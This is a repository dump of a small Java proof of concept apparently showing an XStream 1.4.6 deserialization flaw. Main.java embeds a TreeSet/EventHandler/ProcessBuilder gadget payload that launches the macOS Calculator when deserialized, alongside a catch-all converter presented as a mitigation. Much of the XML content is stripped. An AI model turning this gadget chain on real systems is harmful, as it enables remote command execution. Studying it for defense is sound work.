├── .idea
├── .name
├── compiler.xml
├── copyright
│ └── profiles_settings.xml
├── encodings.xml
├── libraries
│ ├── Maven__com_thoughtworks_xstream_xstream_1_4_6.xml
│ ├── Maven__xmlpull_xmlpull_1_1_3_1.xml
│ └── Maven__xpp3_xpp3_min_1_1_4c.xml
├── misc.xml
├── modules.xml
├── scopes
│ └── scope_settings.xml
├── uiDesigner.xml
├── vcs.xml
└── workspace.xml
├── README.md
├── XStreamPOC.iml
├── pom.xml
├── src
└── main
│ └── java
│ └── com
│ └── pwntester
│ └── xstreampoc
│ ├── CatchAllConverter.java
│ ├── Contact.java
│ ├── ContactConverter.java
│ └── Main.java
└── target
└── classes
└── com
└── pwntester
└── xstreampoc
├── CatchAllConverter.class
├── Contact.class
├── ContactConverter.class
├── Main$1.class
└── Main.class
/.idea/.name:
--------------------------------------------------------------------------------
1 | XStreamPOC
--------------------------------------------------------------------------------
/.idea/compiler.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
--------------------------------------------------------------------------------
/.idea/copyright/profiles_settings.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/.idea/encodings.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__com_thoughtworks_xstream_xstream_1_4_6.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__xmlpull_xmlpull_1_1_3_1.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__xpp3_xpp3_min_1_1_4c.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
--------------------------------------------------------------------------------
/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
--------------------------------------------------------------------------------
/.idea/scopes/scope_settings.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/.idea/uiDesigner.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | -
6 |
7 |
8 | -
9 |
10 |
11 | -
12 |
13 |
14 | -
15 |
16 |
17 | -
18 |
19 |
20 |
21 |
22 |
23 | -
24 |
25 |
26 |
27 |
28 |
29 | -
30 |
31 |
32 |
33 |
34 |
35 | -
36 |
37 |
38 |
39 |
40 |
41 | -
42 |
43 |
44 |
45 |
46 | -
47 |
48 |
49 |
50 |
51 | -
52 |
53 |
54 |
55 |
56 | -
57 |
58 |
59 |
60 |
61 | -
62 |
63 |
64 |
65 |
66 | -
67 |
68 |
69 |
70 |
71 | -
72 |
73 |
74 | -
75 |
76 |
77 |
78 |
79 | -
80 |
81 |
82 |
83 |
84 | -
85 |
86 |
87 |
88 |
89 | -
90 |
91 |
92 |
93 |
94 | -
95 |
96 |
97 |
98 |
99 | -
100 |
101 |
102 | -
103 |
104 |
105 | -
106 |
107 |
108 | -
109 |
110 |
111 | -
112 |
113 |
114 |
115 |
116 | -
117 |
118 |
119 | -
120 |
121 |
122 |
123 |
124 |
125 |
126 |
--------------------------------------------------------------------------------
/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/.idea/workspace.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
114 |
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 |
123 |
124 |
125 |
126 |
127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
136 |
137 |
138 |
139 |
140 |
141 |
142 |
143 |
144 |
145 |
146 |
147 |
148 |
149 |
150 |
151 |
152 |
153 |
154 |
155 |
156 |
157 |
158 |
159 |
160 |
161 |
162 |
163 |
164 |
165 |
166 |
167 |
168 |
169 |
170 |
171 |
172 |
173 |
174 |
175 |
176 |
177 |
178 |
179 |
180 |
181 |
182 |
183 |
184 |
185 |
186 |
187 |
188 |
189 |
190 |
191 |
192 |
193 |
194 |
195 |
196 |
197 |
198 |
199 |
200 |
201 |
202 |
203 |
204 |
205 |
206 |
207 |
208 |
209 |
210 |
211 |
212 |
213 |
214 |
215 |
216 |
217 |
218 |
219 |
220 |
221 |
222 |
223 |
224 |
225 |
226 |
227 |
228 |
229 |
230 |
231 |
232 |
233 |
234 |
235 |
236 |
237 |
238 |
239 |
240 |
241 |
242 |
243 |
244 |
245 |
246 |
247 |
248 |
249 |
250 |
251 |
252 |
253 |
254 |
255 |
256 |
257 |
258 |
259 |
260 |
261 |
262 |
263 |
264 |
265 |
266 |
267 |
268 |
269 |
270 |
271 |
272 |
273 |
274 |
275 |
276 |
277 |
278 |
279 |
280 |
281 |
282 |
283 |
284 |
285 |
286 |
287 |
288 |
289 |
290 |
291 |
292 |
293 |
294 |
295 |
296 |
297 |
298 |
299 |
300 |
301 |
302 |
303 |
304 |
305 |
306 |
307 |
308 |
309 |
310 |
311 |
312 |
313 |
314 |
315 |
316 |
317 |
318 |
319 |
320 |
321 |
322 |
323 |
324 |
325 |
326 |
327 |
328 |
329 |
330 |
331 |
332 |
333 |
334 |
335 |
336 |
337 |
338 |
339 |
340 |
341 |
342 |
343 |
344 |
345 |
346 |
347 |
348 |
349 |
350 |
351 |
352 |
353 |
354 |
355 |
356 |
357 |
358 |
359 |
360 |
361 |
362 |
363 |
364 |
365 |
366 |
367 |
368 |
369 |
370 |
371 |
372 |
373 |
374 |
375 |
376 |
377 |
378 |
379 |
380 |
381 |
382 |
383 |
384 |
385 |
386 |
387 |
388 |
389 |
390 |
391 |
392 |
393 |
394 |
395 |
396 |
397 |
398 |
399 |
400 |
401 |
402 |
403 |
404 |
405 |
406 |
407 |
408 |
409 |
410 |
411 |
412 |
413 |
414 | localhost
415 | 5050
416 |
417 |
418 |
419 |
420 |
421 |
422 |
423 |
424 |
425 |
426 |
427 |
428 |
429 |
430 |
431 |
432 |
433 |
434 | false
435 |
436 |
437 |
438 |
439 | 1387801885304
440 | 1387801885304
441 |
442 |
443 |
444 |
445 |
446 |
447 |
448 |
449 |
450 |
451 |
452 |
453 |
454 |
455 |
456 |
457 |
458 |
459 |
460 |
461 |
462 |
463 |
464 |
465 |
466 |
467 |
468 |
469 |
470 |
471 |
472 |
473 |
474 |
475 |
476 |
477 |
478 |
479 |
480 |
481 |
482 |
483 |
484 |
485 |
486 |
487 |
488 |
489 |
490 |
491 |
492 |
493 |
494 |
495 |
496 |
497 |
498 |
499 |
500 |
501 |
502 |
503 |
504 |
505 |
506 |
507 |
508 |
509 |
510 |
511 |
512 |
513 |
514 |
515 |
516 |
517 |
518 |
519 |
520 |
521 |
522 |
523 |
524 |
525 |
526 |
527 |
528 |
529 |
530 |
531 |
532 |
533 |
534 |
535 |
536 |
537 |
538 |
539 |
540 |
541 |
542 |
543 |
544 |
545 |
546 |
547 |
548 |
549 |
550 |
551 |
552 |
553 |
554 |
555 |
556 |
557 |
558 |
559 |
560 |
561 |
562 |
563 |
564 |
565 |
566 |
567 |
568 |
569 |
570 |
571 |
572 |
573 |
574 |
575 |
576 |
577 |
578 |
579 |
580 |
581 |
582 |
583 |
584 |
585 |
586 |
587 |
588 |
589 |
590 |
591 |
592 |
593 | No facets are configured
594 |
595 |
596 |
597 |
598 |
599 |
600 |
601 |
602 |
603 |
604 |
605 |
606 |
607 |
608 |
609 |
610 |
611 |
612 |
613 |
614 |
615 |
616 | 1.7
617 |
618 |
619 |
620 |
621 |
622 |
623 |
624 |
625 |
626 |
627 |
628 | XStreamPOC
629 |
630 |
631 |
632 |
633 |
634 |
635 |
636 |
637 |
638 |
639 |
640 |
641 | 1.7
642 |
643 |
644 |
645 |
646 |
647 |
648 |
649 |
650 |
651 |
652 |
653 | Maven: com.thoughtworks.xstream:xstream:1.4.6
654 |
655 |
656 |
657 |
658 |
659 |
660 |
661 |
662 |
663 |
664 |
665 |
666 |
667 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pwntester/XStreamPOC/9fb1364918f668e8656ed1f0e4571c2a8c3ae10d/README.md
--------------------------------------------------------------------------------
/XStreamPOC.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | XStreamPOC
8 | XStreamPOC
9 | 1.0-SNAPSHOT
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 | com.thoughtworks.xstream
18 | xstream
19 | 1.4.6
20 |
21 |
22 |
--------------------------------------------------------------------------------
/src/main/java/com/pwntester/xstreampoc/CatchAllConverter.java:
--------------------------------------------------------------------------------
1 | package com.pwntester.xstreampoc;
2 |
3 | /**
4 | * Created with IntelliJ IDEA.
5 | * User: alvaro
6 | * Date: 23/12/13
7 | * Time: 14:29
8 | * To change this template use File | Settings | File Templates.
9 | */
10 | import com.thoughtworks.xstream.converters.Converter;
11 | import com.thoughtworks.xstream.converters.MarshallingContext;
12 | import com.thoughtworks.xstream.converters.UnmarshallingContext;
13 | import com.thoughtworks.xstream.io.HierarchicalStreamReader;
14 | import com.thoughtworks.xstream.io.HierarchicalStreamWriter;
15 |
16 | public class CatchAllConverter implements Converter {
17 |
18 | public boolean canConvert(Class clazz) {
19 | return true;
20 | }
21 |
22 | public void marshal(Object value, HierarchicalStreamWriter writer, MarshallingContext context) {
23 | }
24 |
25 | public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
26 | return null;
27 | }
28 |
29 | }
30 |
--------------------------------------------------------------------------------
/src/main/java/com/pwntester/xstreampoc/Contact.java:
--------------------------------------------------------------------------------
1 | package com.pwntester.xstreampoc;
2 |
3 | /**
4 | * Created with IntelliJ IDEA.
5 | * User: alvaro
6 | * Date: 23/12/13
7 | * Time: 13:37
8 | * To change this template use File | Settings | File Templates.
9 | */
10 |
11 |
12 |
13 | import com.thoughtworks.xstream.annotations.XStreamAlias;
14 |
15 | @XStreamAlias("contact")
16 | public class Contact {
17 | @XStreamAlias("name")
18 | String name;
19 |
20 | public String getName() {
21 | return name;
22 | }
23 |
24 | public void setName(String name) {
25 | this.name = name;
26 | }
27 |
28 | }
29 |
30 |
31 |
32 |
--------------------------------------------------------------------------------
/src/main/java/com/pwntester/xstreampoc/ContactConverter.java:
--------------------------------------------------------------------------------
1 | package com.pwntester.xstreampoc;
2 |
3 | /**
4 | * Created with IntelliJ IDEA.
5 | * User: alvaro
6 | * Date: 23/12/13
7 | * Time: 14:22
8 | * To change this template use File | Settings | File Templates.
9 | */
10 | import com.thoughtworks.xstream.converters.Converter;
11 | import com.thoughtworks.xstream.converters.MarshallingContext;
12 | import com.thoughtworks.xstream.converters.UnmarshallingContext;
13 | import com.thoughtworks.xstream.io.HierarchicalStreamReader;
14 | import com.thoughtworks.xstream.io.HierarchicalStreamWriter;
15 |
16 | public class ContactConverter implements Converter {
17 |
18 | public boolean canConvert(Class clazz) {
19 | return clazz.equals(Contact.class);
20 | }
21 |
22 | public void marshal(Object value, HierarchicalStreamWriter writer, MarshallingContext context) {
23 | Contact contact = (Contact) value;
24 | writer.startNode("name");
25 | writer.setValue(contact.getName());
26 | writer.endNode();
27 | }
28 |
29 | public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
30 | Contact contact = new Contact();
31 | reader.moveDown();
32 | contact.setName(reader.getValue());
33 | reader.moveUp();
34 | return contact;
35 | }
36 |
37 | }
38 |
--------------------------------------------------------------------------------
/src/main/java/com/pwntester/xstreampoc/Main.java:
--------------------------------------------------------------------------------
1 | package com.pwntester.xstreampoc;
2 |
3 | import java.io.IOException;
4 | import com.thoughtworks.xstream.XStream;
5 | import com.thoughtworks.xstream.io.xml.DomDriver;
6 | import java.beans.EventHandler;
7 | import java.util.Set;
8 | import java.util.TreeSet;
9 |
10 | /**
11 | * Created with IntelliJ IDEA.
12 | * User: alvaro
13 | * Date: 23/12/13
14 | * Time: 13:39
15 | * To change this template use File | Settings | File Templates.
16 | */
17 | public class Main {
18 | public static void main(String[] args) throws IOException {
19 |
20 | XStream xstream = new XStream(new DomDriver());
21 | xstream.processAnnotations(Contact.class);
22 | xstream.registerConverter(new ContactConverter());
23 | xstream.registerConverter(new CatchAllConverter(), XStream.PRIORITY_VERY_LOW);
24 |
25 | Contact c = new Contact();
26 | c.setName("Alvaro");
27 | String sc = xstream.toXML(c);
28 | System.out.println(sc);
29 |
30 | //Set set = new TreeSet();
31 | //set.add("foo");
32 | //set.add(EventHandler.create(Comparable.class, new ProcessBuilder("/Applications/Calculator.app/Contents/MacOS/Calculator"), "start"));
33 | //String payload2 = xstream.toXML(set);
34 | //System.out.println(payload2);
35 |
36 | String payload = "" +
37 | "foo" +
38 | "" +
39 | "java.lang.Comparable" +
40 | "" +
41 | " " +
42 | " " +
43 | " /Applications/Calculator.app/Contents/MacOS/Calculator" +
44 | " " +
45 | " " +
46 | " start" +
47 | "" +
48 | "" +
49 | "";
50 |
51 | try {
52 | Contact expl = (Contact) xstream.fromXML(payload);
53 | } catch (com.thoughtworks.xstream.converters.ConversionException ex) {
54 | System.out.println("Trying to deserialize null object. Make sure the input is not null and that your custom converters have higher priority than the Catch-All converter");
55 | }
56 | }
57 | }
58 |
--------------------------------------------------------------------------------
/target/classes/com/pwntester/xstreampoc/CatchAllConverter.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pwntester/XStreamPOC/9fb1364918f668e8656ed1f0e4571c2a8c3ae10d/target/classes/com/pwntester/xstreampoc/CatchAllConverter.class
--------------------------------------------------------------------------------
/target/classes/com/pwntester/xstreampoc/Contact.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pwntester/XStreamPOC/9fb1364918f668e8656ed1f0e4571c2a8c3ae10d/target/classes/com/pwntester/xstreampoc/Contact.class
--------------------------------------------------------------------------------
/target/classes/com/pwntester/xstreampoc/ContactConverter.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pwntester/XStreamPOC/9fb1364918f668e8656ed1f0e4571c2a8c3ae10d/target/classes/com/pwntester/xstreampoc/ContactConverter.class
--------------------------------------------------------------------------------
/target/classes/com/pwntester/xstreampoc/Main$1.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pwntester/XStreamPOC/9fb1364918f668e8656ed1f0e4571c2a8c3ae10d/target/classes/com/pwntester/xstreampoc/Main$1.class
--------------------------------------------------------------------------------
/target/classes/com/pwntester/xstreampoc/Main.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pwntester/XStreamPOC/9fb1364918f668e8656ed1f0e4571c2a8c3ae10d/target/classes/com/pwntester/xstreampoc/Main.class
--------------------------------------------------------------------------------